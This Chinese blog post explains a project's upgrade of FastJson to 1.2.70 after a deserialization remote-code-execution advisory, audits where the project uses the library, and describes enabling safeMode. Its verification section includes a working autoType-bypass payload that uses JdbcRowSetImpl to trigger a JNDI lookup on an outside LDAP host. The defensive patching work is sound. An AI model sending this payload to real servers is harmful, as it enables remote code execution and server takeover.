[toc]
关于 FastJson
升级到 1.2.70
说明
author
: Vic.xu
Date
: 20200601
安全公告20200601
近日,阿里云应急响应中心监测到fastjson爆发新的反序列化远程代码执行漏洞,黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。
漏洞描述
fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。
影响版本
- fastjson <=1.2.68
- fastjson sec版本 <= sec9
升级方案
升级到最新版本1.2.69或者更新的1.2.70版本。
fastjson加固
fastjson
在1.2.68及之后的版本中引入了 safeMode
,配置 safeMode
后,无论白名单和黑名单,都不支持 autoType
,可一定程度上缓解反序列化Gadgets类变种攻击(关闭 autoType
注意评估对业务的影响)
safeMode开启方法
-
在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true)
; -
-Dfastjson.parser.safeMode=true
-
通过
fastjson.properties
文件配置。fastjson.parser.safeMode=true
二 漏洞原理和漏洞验证
多个版本的Fastjson组件在反序列化不可信数据时会导致代码执行。究其原因,首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,绕过细节可参考( www.anquanke.com/post/id/181…
漏洞的代码简单展示
基于工银当前使用的版本1.2.46
-
验证
autoType
的默认值: 结果默认为false, 符合官网说明的"fastjson
在1.2.2+版本默认便不再开启autoType
选项"ParserConfig config = ParserConfig.getGlobalInstance(); boolean autoTypeSupport = config.isAutoTypeSupport(); System.out.println(autoTypeSupport);//false 复制代码
-
正常情况下的
autoType
为false时,未绕过的测试代码Model model = new Model(); model.setId(1); model.setName("vic"); //获得的结果为{"@type":"pers.vic.test.json.fastjson.Model","id":1,"name":"vic"} String json = JSON.toJSONString(model, SerializerFeature.WriteClassName); System.out.println(json); //反序列换报错:autoType is not support. pers.vic.test.json.fastjson.Model JSON.parse(json); 复制代码
-
验证绕过黑名单和
autotype
的检查流程-
准备可绕过检测的字符串
private static String str = "{/"name/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"x/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://a.631c122b.n0p.co/",/"autoCommit/":true}}"; 复制代码
-
执行字符串的反序列化
JSONObject obj = JSON.parseObject(str); 复制代码
执行结果为报错
........set property error, autoCommit ........JdbcRowSet (连接) JNDI 无法连接
说明执行了数据库连接操作,以及执行了
setAutoCommit
; ,证明绕过了autotype
的禁用;绕过的原理,参考https://www.anquanke.com/post/id/181874;大概意思为:
-
三 本项目中 json
使用的相关说明
3.1 项目中json序列换和反序列化主要使用的为 Jackson
-
本项目使用的主题框架为SpringMVC, 其中消息转换器中关于json的转化使用的是
MappingJackson2HttpMessageConverter
(也即Jackson
) -
它的作用是一下两点(序列化/反序列化):
-
通过
@ResponseBody
注解返回响应体的内容时把对象转为是json字符串(序列化);这一点在本项目中大量使用,绝大多数ajax请求都是都经过此json序列化;
2. 通过@RequestBody
注解,接收前端的json字符串,并把json字符串序列化程对象, 在本项目中使用频率极低(通过搜索只发现一处)
-
通过
3.2 关于 fastjson
在本项目中的使用
只搜索反序列化,因为序列化不存在安全问题
-
JSON.parse
在本项目中搜索到的结果为19 处
- 其中绝大多数都是序列化后端自身存储的一些字符串(并无安全风险)
-
JSONObject.parse
在本项目中搜索到的结果为2处
- 这两处均是直接反序列换前端传入的json字符串,存在风险
3.3 关于本项目引入 fastjson
的缘由
本人的猜测:
-
由于本项目中orm框架使用的是hibernate, 存在延迟加载的情况(即很多时候查询出来的是代理对象)
-
数据库实体和model的公用,造成在实体上加了很多的
jackson
序列化相关的注解(如忽略属性的序列化);例如:
- 查询出某个实体对象通过序列化返回给前端,由于hibernate的级联查询,加了很多忽略序列化的注解,以达到消除不必要的查询的目的
- 如果后端通过此相同的实体对象接收前端的json字符串,由于忽略序列化的注解的存在,会造成属性丢失
-
使用
fastjson
是为了避开jackson
相关的序列化注解, 达到复用model的目的
四 本次 fastjson
升级说明
本项目中并不存在使用@type反序列化的需求, 可全面禁用;
-
版本升级到官网推荐的
1.2.70
版本;升级后 ,使用上述字符串测试绕过
autoType
时候会报错:autoType is not support. com.sun.rowset.JdbcRowSetImpl
-
通过配置文件
fastjson.properties
配置fastjson.parser.safeMode=true
完全禁用autoType
;参见官网说明
:在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
文章来源: 临窗旋墨的博客
原文
https://juejin.im/post/5ef83c7e6fb9a07e9d602972
本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » 关于FastJson升级到1.2.70的说明